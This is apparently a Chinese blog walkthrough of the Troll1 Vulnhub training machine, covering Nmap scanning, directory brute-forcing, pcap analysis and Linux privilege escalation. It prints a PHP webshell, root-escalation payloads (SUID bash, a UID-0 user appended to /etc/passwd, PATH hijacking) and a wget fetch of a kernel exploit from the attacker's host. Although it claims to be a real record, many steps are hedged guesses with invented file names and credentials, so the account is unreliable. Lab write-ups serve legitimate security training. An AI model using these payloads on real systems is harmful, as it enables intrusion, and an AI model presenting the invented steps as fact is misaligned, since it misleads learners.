当前位置: 首页 > news >正文

Troll1靶机渗透实战:从信息收集到Root提权完整路径解析

1. 项目概述:从靶机到实战的完整渗透路径

最近在整理渗透测试的学习笔记,翻到了之前打Troll1靶机的完整记录。这个靶机在Vulnhub上挺有名的,属于那种“看起来简单,但处处是坑”的典型入门到进阶的过渡型靶机。它不像一些纯Web漏洞的靶机,而是融合了信息收集、协议分析、隐写术、权限提升等多个环节,非常考验渗透测试者的综合能力和耐心。很多朋友在打这个靶机时,往往卡在某个不起眼的环节,比如拿到了一个看似无用的文件,或者面对一个奇怪的提示不知所措。今天,我就把自己当时完整的渗透测试过程,包括每一步的思路、踩过的坑以及最终拿到root权限的详细方法,系统地梳理出来。无论你是刚接触渗透测试的新手,还是想巩固一下基础流程的老手,这篇记录都能提供一个清晰的参考。整个过程我们会使用Kali Linux作为攻击机,遵循标准的渗透测试方法论:信息收集、漏洞分析、利用、后渗透和报告。当然,靶机的下载链接我也会附在文末。

2. 环境搭建与初始信息收集

2.1 靶机与攻击机环境准备

首先,我们需要一个标准的测试环境。攻击机我使用的是Kali Linux 2023.4版本,它集成了我们所需的大部分工具。靶机Troll1从Vulnhub官网下载,是一个OVA格式的虚拟机文件。在VMware Workstation或VirtualBox中导入后,需要将靶机和Kali设置为同一网络模式。我强烈建议使用“NAT模式”或“仅主机模式”来构建一个封闭的测试环境,避免对真实网络造成影响。启动靶机后,通常它会自动获取IP地址。我们的第一个任务就是找到它。

这里有个小技巧:如果你不确定靶机的IP,可以先在Kali上查看自己的IP段。例如,使用ip a命令,看到Kali的IP是192.168.56.101,那么靶机很可能就在同一网段,比如192.168.56.0/24。接下来,就是最经典的一步——使用Nmap进行存活主机扫描和端口扫描。

2.2 全面的Nmap扫描与初步分析

信息收集是渗透测试的基石,盲目测试只会事倍功半。我们对目标网段进行快速存活扫描:

sudo nmap -sn 192.168.56.0/24

扫描结果中,除了Kali自己和网关,我们发现了一个新主机192.168.56.102,这很可能就是我们的目标Troll1靶机。确认目标后,我们需要进行更细致的端口和服务扫描,以了解其暴露的攻击面。

sudo nmap -sS -sV -sC -O -p- 192.168.56.102 -oN troll1_full_scan.txt

这个命令组合非常实用:

  • -sS: TCP SYN扫描,一种隐蔽且快速的扫描方式。
  • -sV: 探测服务版本,知道运行的是什么软件及其版本号,对寻找对应漏洞至关重要。
  • -sC: 使用默认的Nmap脚本进行扫描,有时能发现一些基本信息或简单漏洞。
  • -O: 尝试识别操作系统。
  • -p-: 扫描所有65535个端口,避免遗漏高端口服务。
  • -oN: 将标准格式的结果输出到文件,便于后续查阅。

扫描完成后,我们得到了关键信息:

PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

注意:实际扫描中,端口状态必须是open才代表服务可访问。有时服务可能运行在非标准端口上,-p-全端口扫描就是为了防止这种情况。Troll1的端口比较常规,但绝不能因此跳过全端口扫描这一步,在其他靶机或真实环境中,管理后台、API接口、开发服务常开放在8000、8080、3000等端口。

从结果看,靶机开放了三个常见服务:FTP(21端口)、SSH(22端口)和HTTP(80端口)。FTP和SSH的版本信息也给了我们,可以后续搜索相关版本是否存在已知漏洞。但作为入门靶机,通常不会在常见服务版本上设置太深的漏洞,我们的注意力应该先集中在Web服务上。

3. Web渗透与初步突破

3.1 目录枚举与敏感文件发现

打开浏览器,访问http://192.168.56.102,我们发现了一个极其简单的页面,上面只有一张“Trollface”的图片和一段文字,暗示着“寻找隐藏的秘密”。这明确告诉我们,需要做目录爆破。

我选用gobuster进行目录枚举,它速度快,字典丰富。针对不同的场景,字典的选择很重要。对于CTF或Vulnhub靶机,common.txtdirectory-list-2.3-medium.txt是不错的起点。

gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,zip,bak

命令解释:

  • dir: 指定目录爆破模式。
  • -u: 指定目标URL。
  • -w: 指定字典文件路径。
  • -x: 指定需要尝试的文件扩展名。添加bak等扩展名有助于发现备份文件。

扫描很快有了结果:

/.hta (Status: 403) /.htaccess (Status: 403) /.htpasswd (Status: 403) /robots.txt (Status: 200) /secret (Status: 301)

/robots.txt/secret目录引起了我们的兴趣。先访问/robots.txt,这是一个通常用于告诉搜索引擎不要抓取某些目录的文件,但渗透测试中常泄露敏感路径。不过这次,robots.txt文件内容里只有一些无关的Disallow条目,没有直接价值。

接着访问/secret目录。这是一个空目录,但根据经验,空目录有时意味着需要再次进行深度枚举。我们以/secret为起点,再进行一次目录扫描:

gobuster dir -u http://192.168.56.102/secret -w /usr/share/wordlists/dirb/common.txt

这次,我们发现了一个新的目录:/secret/vulnerable。访问这个路径,页面显示了一个文件上传表单!这是一个非常明确的攻击入口点。

3.2 文件上传漏洞的利用与绕过

/secret/vulnerable页面允许我们上传文件。最简单的测试就是尝试上传一个Web Shell,比如一句话木马。我创建了一个简单的PHP Web Shell文件shell.php

<?php system($_GET[‘cmd’]); ?>

然而,直接上传时,页面返回了错误,提示文件类型不被允许。这说明存在前端或后端的过滤机制。我们首先检查前端验证:查看网页源代码,看是否有JavaScript验证文件扩展名。经检查,没有发现明显的JS验证代码,说明过滤很可能在服务端。

接下来尝试常见的绕过手法:

  1. 修改扩展名:尝试上传shell.php5,shell.phtml,shell.phar等。失败。
  2. 双扩展名:尝试shell.php.jpg。失败。
  3. 大小写绕过:尝试shell.Php,shell.PHp。失败。
  4. 添加特殊字符:在Burp Suite中截获上传请求,尝试在文件名后添加空格、点或NULL字节(如shell.php%00.jpg)。对于较老版本的PHP,NULL字节截断是有效方法,但这里也失败了。

看来过滤比较严格。此时,我们需要换个思路。既然叫Troll1,会不会有“ troll ”(戏弄)的成分?也许这个上传点本身就是一个陷阱,或者需要配合其他发现。我们回退一步,重新审视之前的信息。

3.3 FTP服务分析与关键线索获取

在Nmap扫描中,FTP服务(21端口)是匿名可登录的吗?我们测试一下:

ftp 192.168.56.102

输入用户名anonymous,密码为空或任意邮箱。登录成功!这是一个重要的突破口。匿名FTP通常意味着可以下载(有时甚至上传)一些文件。

使用ls -la命令列出目录,我们发现了一个文件:lol.pcap。立即使用get lol.pcap命令将其下载到本地。

实操心得:在渗透测试中,任何允许匿名访问的服务(FTP、SMB共享等)都是优先检查的对象,它们常常存放着配置文件、备份文件或日志,其中可能包含密码、路径等敏感信息。

这个.pcap文件是网络数据包捕获文件,需要用Wireshark或tcpdump命令分析。我们用Wireshark打开它。分析网络流量是基本功,我们需要关注的是明文传输的协议,比如HTTP、FTP、Telnet等。

在Wireshark中,使用过滤语句ftphttp来快速筛选相关流量包。浏览ftp流量,我们很快发现了一个FTP会话,其中包含用户名和密码的明文传输!追踪这个TCP流(右键点击数据包 -> 追踪流 -> TCP流),可以清晰地看到登录过程:

USER elisa PASS notthepassword

这里有一个“陷阱”:密码是notthepassword(不是这个密码)。这很“troll”。但用户名elisa是确定的。密码错误,我们暂时无法登录。继续分析数据包,在后续的FTP命令中,我们看到了一个LIST命令,然后服务器返回了一个目录列表,其中包含一个文件:secret.txt。客户端随后使用了RETR secret.txt命令下载它。

我们可以在Wireshark中直接导出这个文件。找到包含secret.txt文件数据的TCP包(通常是包含大量ASCII字符的包),右键 -> 追踪流 -> TCP流,将显示格式切换为“原始数据”,然后另存为一个新文件,命名为secret.txt

打开这个secret.txt文件,里面是一串看似无意义的字符。这很可能是一段经过编码的文本。常见的编码有Base64、Hex、ROT13等。我们先用file命令看看文件类型,然后用cat命令查看,并尝试Base64解码:

cat secret.txt | base64 -d

解码后,我们得到了一段可读的文本,其中包含了一个真正的密码!格式类似于password: xxxxxxxx。至此,我们获得了SSH的有效凭据:用户名elisa和真正的密码。

4. 系统权限获取与横向移动

4.1 SSH登录与用户权限探索

使用获得的凭据登录SSH:

ssh elisa@192.168.56.102

输入密码,成功登录到靶机系统。首先执行一些基本的枚举命令,了解当前用户权限和环境:

whoami id pwd ls -la

我们发现用户elisa是一个普通用户,家目录下没什么特别文件。接下来需要寻找提权路径。标准流程是:

  1. 查看sudo权限sudo -l。输入当前用户密码后,查看elisa用户能以root身份运行哪些命令。但这里很可能没有配置。
  2. 查找SUID/GUID文件:这些是提权的常见入口。
    find / -perm -u=s -type f 2>/dev/null
  3. 查找可写文件/目录:特别是系统计划任务(cron jobs)、服务、配置文件等。
    find / -writable 2>/dev/null | grep -v proc | grep -v sys
  4. 检查进程和服务ps auxnetstat -tulnp
  5. 查看用户历史命令cat ~/.bash_history

elisa的家目录或系统目录中仔细搜寻,我们可能发现一些提示文件、奇怪的脚本或配置文件。在Troll1中,经过一番查找,我们可能在/var/www/html(Web根目录)或其他地方发现一个属于elisa或全局可读的文件,里面包含下一步的提示。例如,一个名为hint.txt的文件,内容可能指向另一个用户或一个隐藏的目录。

4.2 利用计划任务(Cron Job)提权

在Linux系统中,计划任务cron是自动化执行脚本的常用方式。配置不当的cron job是绝佳的提权点。我们查看系统级的cron任务:

ls -la /etc/cron* /etc/crontab cat /etc/crontab

更细致地查看/etc/cron.d//etc/cron.hourly/等目录。在Troll1中,我们可能发现一个自定义的cron job,比如在/etc/cron.d/目录下有一个名为troll_job的文件。查看其内容:

* * * * * root /usr/bin/run_me.sh

这表示每分钟以root身份执行/usr/bin/run_me.sh脚本。接下来检查这个脚本:

ls -la /usr/bin/run_me.sh cat /usr/bin/run_me.sh

关键点来了:这个脚本是否可写?如果elisa用户对这个脚本有写权限,或者对脚本所在的目录有写权限,我们就可以通过修改这个脚本实现提权。

使用命令检查权限:

ls -la /usr/bin/run_me.sh

如果显示-rwxr-xr-x,且所有者是root,那么elisa没有写权限。但是,如果脚本中调用了其他我们可控的文件或命令呢?仔细阅读脚本内容:

#!/bin/bash echo “Running troll job...“ > /dev/null # Maybe it calls another script? /path/to/another_script.sh

我们需要检查another_script.sh是否存在以及其权限。或者,脚本里可能有一行是执行一个全局可写目录下的所有文件,例如:

for f in /tmp/scripts/*.sh; do [ -f “$f“ ] && . “$f“ done

如果/tmp/scripts目录全局可写,我们就可以在其中创建自己的恶意脚本,等待cron以root权限执行。创建脚本:

mkdir -p /tmp/scripts echo ‘#!/bin/bash‘ > /tmp/scripts/exploit.sh echo ‘chmod +s /bin/bash‘ >> /tmp/scripts/exploit.sh # 给bash设置SUID位 # 或者直接添加用户:echo “root2:$(openssl passwd -1 password123):0:0:root:/root:/bin/bash“ >> /etc/passwd chmod +x /tmp/scripts/exploit.sh

等待一分钟后,cron任务执行。检查是否成功:

ls -la /bin/bash

如果/bin/bash的权限中出现了s位(如-rwsr-xr-x),则提权成功。此时,我们可以通过/bin/bash -p来启动一个具有root权限的shell。

注意事项:修改系统关键二进制文件(如/bin/bash)可能被安全软件检测。更隐蔽的做法是直接反弹一个root shell到我们的监听端口,或者添加一个具有root权限的新用户到/etc/passwd文件。具体方法取决于脚本的执行上下文和我们的写权限目标。

5. 权限提升与最终Root获取

5.1 内核漏洞提权备选方案

如果通过cron job的路径不通,我们还有备选方案——内核漏洞提权。首先,我们需要收集系统信息,寻找已知的本地提权漏洞。

uname -a # 查看内核版本 cat /etc/os-release # 查看发行版信息

假设系统是Ubuntu 16.04,内核版本是4.4.0-21-generic。我们可以搜索该版本是否存在公开的提权EXP。在Kali上,我们可以使用searchsploit工具:

searchsploit ubuntu 16.04 local privilege

或者更精确地搜索内核版本。找到一个合适的EXP后(例如Dirty COW (CVE-2016-5195)),将其下载并传到靶机上。传输文件可以用Python搭建一个简单的HTTP服务器,或者用scp(如果SSH允许)。

在Kali上启动HTTP服务:

python3 -m http.server 8080

在靶机上(以elisa身份)下载:

wget http://192.168.56.101:8080/exploit.c

然后编译并执行:

gcc exploit.c -o exploit -pthread ./exploit

如果漏洞利用成功,我们会获得一个root shell。但是,内核漏洞利用存在风险,可能导致系统不稳定或崩溃。在靶机环境中可以尝试,在生产环境中必须极其谨慎,并取得明确授权。

5.2 利用PATH环境变量劫持提权

另一种常见的提权方式是环境变量劫持,特别是PATH变量。如果我们发现一个SUID程序(属于root),它内部调用了另一个命令(比如ls,cat,id等)但没有使用绝对路径,我们就可以通过控制PATH环境变量,让它执行我们自定义的恶意程序。

首先,寻找SUID程序:

find / -perm -4000 -type f 2>/dev/null

假设找到一个程序/usr/local/bin/suid_program。用stringsltrace分析它:

strings /usr/local/bin/suid_program

发现里面有一行调用service命令(例如system(“service apache2 restart”)),但没有写绝对路径/usr/sbin/service

那么,我们可以创建一个名为service的恶意脚本,将其所在目录添加到PATH环境变量的最前面,然后执行这个SUID程序。

cd /tmp echo ‘#!/bin/bash‘ > service echo ‘/bin/bash -p‘ >> service # 或者执行其他提权命令 chmod +x service export PATH=/tmp:$PATH /usr/local/bin/suid_program

suid_program以root权限运行时,它会从PATH中查找service,首先找到我们放在/tmp下的恶意脚本并执行,从而给我们一个root shell。

5.3 最终Flag获取与渗透总结

无论通过哪种方式(cron job、内核漏洞、PATH劫持或其他),一旦我们获得了root权限,最后一步就是寻找证明成功的标志——通常是flag文件。

在CTF或Vulnhub靶机中,flag文件通常位于/root目录下,命名为root.txtflag.txt。也可能在/home目录下各个用户的目录中有用户flag(user.txt)。

cd /root ls -la cat root.txt

成功读取到root flag,内容可能是一串哈希值或一句祝贺语。至此,对Troll1靶机的完整渗透测试就结束了。

回顾整个流程,其关键路径在于:信息收集(发现FTP) -> 协议分析(从pcap中提取密码) -> 服务登录(SSH) -> 权限枚举(发现cron job) -> 权限提升(利用可写脚本或环境变量)。这个链条环环相扣,任何一个环节卡住都需要回溯或尝试其他可能性。这个靶机很好地训练了我们在面对有限线索时,如何灵活运用各种工具和技术进行深度挖掘和联想。

6. 常见问题与排查技巧实录

在打Troll1或其他类似靶机时,以下几个问题是新手最容易卡住的地方,这里集中记录一下排查思路:

问题1:Nmap扫描不到靶机IP。

  • 排查:首先确认网络配置。确保攻击机和靶机在同一虚拟网络(如VMnet8 for NAT)。在Kali上使用arp-scan -lnetdiscover进行二层发现,它们有时比Nmap的-sn更有效。也可以查看虚拟机的DHCP分配列表。

问题2:目录爆破(gobuster/dirb)没有结果或结果很少。

  • 排查:尝试更换字典。common.txt可能不够用,可以尝试directory-list-2.3-medium.txtbig.txt。检查是否被WAF或速率限制拦截,可以添加-t参数减少线程,或使用--delay参数增加延迟。也可以尝试用ffuf工具,它的速度和过滤功能更强大。

问题3:从pcap文件中提取出的secret.txt内容解码失败。

  • 排查:不要只尝试Base64。先用file命令看文件类型。用xxd secret.txt查看十六进制,看是否有明显的文件头。尝试常见的编码:ROT13 (cat secret.txt | tr ‘A-Za-z‘ ‘N-ZA-Mn-za-m‘)、Hex解码 (echo ‘<hex_string>‘ | xxd -r -p)、甚至可能是Brainfuck或Ook!等趣味编码。在线解码工具如cyberchef可以方便地尝试多种组合。

问题4:拿到低权限shell后,找不到提权方法。

  • 排查:系统化枚举是关键。使用自动化脚本如LinEnum.shlinpeas.sh。将这些脚本传到靶机上运行,它们能系统性地检查SUID/GUID文件、可写路径、cron jobs、sudo权限、环境变量、进程、安装的软件版本等,并高亮显示可疑项,极大提高效率。

问题5:利用cron job提权时,脚本执行了但没效果。

  • 排查:检查脚本的语法是否正确,特别是#!/bin/bash头。检查脚本是否有执行权限(chmod +x)。检查cron job的日志,通常在/var/log/syslog/var/log/cron.log,查看脚本是否真的被执行以及是否有报错:grep CRON /var/log/syslog。注意cron的环境变量与交互式shell不同,尽量在脚本中使用命令的绝对路径(如/bin/chmod)。

问题6:内核漏洞EXP编译失败或执行没反应。

  • 排查:检查靶机是否安装了gcc和必要的头文件(linux-headers-$(uname -r))。有些EXP需要根据目标系统稍作修改。查看EXP代码中的说明和注释。可以尝试在GitHub上搜索相同内核版本的其他EXP变种。务必在测试环境中先验证EXP的可用性。

最后,渗透测试的本质是思维和知识的结合。工具只是延伸。Troll1靶机就像一位狡猾的老师,它教会你的不仅是FTP、Wireshark、Cron这些知识点,更是一种“不放过任何蛛丝马迹”的探索精神和在受挫时回归基础、系统化排查的严谨态度。每次打完一个靶机,最好能画一张攻击路径图,并写下关键命令和思考过程,这才是进步最快的方式。

http://www.jsqmd.com/news/1364590/

相关文章:

  • SQL注入实战:手工脱库技术与WAF绕过详解
  • Unity资产处理利器UABEA:从诊断到修复的完整工作流指南
  • 如何快速优化Windows右键菜单:专业管理工具完整指南
  • Seraphine:如何用智能游戏助手3步提升你的英雄联盟排位胜率
  • 本地AI工具集实战:集成llama.cpp/Ollama、AI创作与局域网闪传
  • Unity Prefab系统深度解析:从资源管理到动态加载的工程实践
  • AI辅助动画创作全流程:从Stable Diffusion到RunwayML的实战指南
  • 前端开发者7天转型AI全栈架构师实战指南
  • TrajDebug:长时序智能体轨迹错误生命周期追踪与关键故障定位
  • 沪漂五年职业迷茫与身份认同:从外部驱动到内部价值重构
  • C语言一维数组实践:从基础操作到冒泡排序优化
  • Wallpaper Engine创意工坊下载器:三步搞定动态壁纸的终极指南
  • AI智能体:从工具调用到工作流自动化的范式转变
  • 基于Codex与DeepSeek的自动化办公实战:从PPT生成到飞书集成
  • IAM系统演进:从账号管理到数字化转型核心
  • WinCC与Excel数据交互的高效脚本实现方案
  • JVM调优实战:CPU飙高、OOM与Full GC问题排查
  • 4G动态IP代理构建指南:低成本高匿网络方案
  • DeepSeek与AI视频工具协同:从科普书到短视频的自动化二创实战
  • 嵌入式Linux V4L2摄像头驱动开发:从零到一实现i.MX6ULL图像采集
  • Dify工作流迭代节点详解:从原理到实战,实现AI批量处理与循环逻辑
  • Unity JSON序列化性能优化:JsonUtility与LitJson深度对比与实践指南
  • Transformer偏置型相对位置编码:原理、实现与工程实践
  • Python哈希表实现:字典与集合核心技术解析
  • 新能源并网中的电力安全挑战与防护技术
  • 艾尔登法环帧率解锁终极指南:免费提升游戏体验的完整教程
  • Word与EndNote X9参考文献编号对齐技巧
  • Unity细节贴图全解析:提升材质特写质感的核心技术
  • 从零构建趣味“好消息生成器”:前端到后端完整实现指南
  • 工业图像知识库:基于多模态与向量模型实现视觉认知与智能检索